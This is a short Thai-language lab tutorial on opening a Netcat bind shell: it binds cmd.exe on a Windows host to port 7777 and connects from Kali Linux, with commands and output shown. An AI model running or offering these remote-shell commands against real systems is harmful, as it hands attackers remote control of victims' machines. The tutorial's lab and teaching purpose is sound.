บทนำ (Overview)
ในขั้นตอนของการ Bind shell ผ่านโปรแกรม “Netcat” นั้น เราจะจำลองเครื่องคอมพิวเตอร์สองเครื่อง โดยเครื่องหนึ่งใช้ “Windows” และอีกเครื่องหนึ่งคือ “Kali linux” โดย ถ้าฝั่ง “Windows” จะถูกตั้งค่าให้เป็น “Server” และทาง “Kali linux” เป็นฝั่ง “Client” โดยฝั่ง “Server” จะทำการ “Bind” โปรแกรมที่ชื่อว่า “cmd.exe” เพื่อให้ “Kali” เชื่อมต่อแล้วสามารถใช้งาน “Command Prompt” ได้
ขั้นตอน (Steps)
- ดาวน์โหลด “Netcat” สำหรับ “Windows” (https://www.dropbox.com/s/l2i0yxkrl5p25tr/nc111nt.zip?dl=0)
- ตรวจสอบ “IP” ของ “Windows” โดยใช้คำสั่ง
C:\Users\[user]\Desktop λ ipconfig Windows IP Configuration Wireless LAN adapter Local Area Connection* 3: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : Wireless LAN adapter Wi-Fi: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : IPv4 Address. . . . . . . . . . . : 192.168.1.39 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.1.1
- เปิด “Server” บนฝั่ง “Windows” โดยให้เชื่อมต่อกับโปรแกรม “cmd.exe” หรือเรียกว่า “Bind” เพื่อให้ทาง “Kali linux” สามารถเชื่อมต่อ “Command Prompt” ของ “Windows” ได้ โดยใช้คำสั่งดังนี้
C:\Users\[user]\Desktop\nc111nt λ nc -nlvp 7777 -e cmd.exe listening on [any] 7777 ...
- จากนั้นเชื่อมต่อ “Windows” จาก “Kali linux” โดนใช้คำสั่งดังนี้
root@kali:~# nc -nv 192.168.1.39 7777 nc: 192.168.1.39 7777 open Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. C:\Users\wsunpachit\Desktop\nc111nt {git} {lamb}
- ลองใช้คำสั่งตรวจสอบ “IP” อีกครั้งผ่าน “Kali linux”
root@kali:~# nc -nv 192.168.1.39 7777 nc: 192.168.1.39 7777 open Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. C:\Users\[user]\Desktop\nc111nt {git} {lamb} ipconfig ipconfig Windows IP Configuration Wireless LAN adapter Local Area Connection* 3: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : Wireless LAN adapter Wi-Fi: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : IPv4 Address. . . . . . . . . . . : 192.168.1.39 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.1.1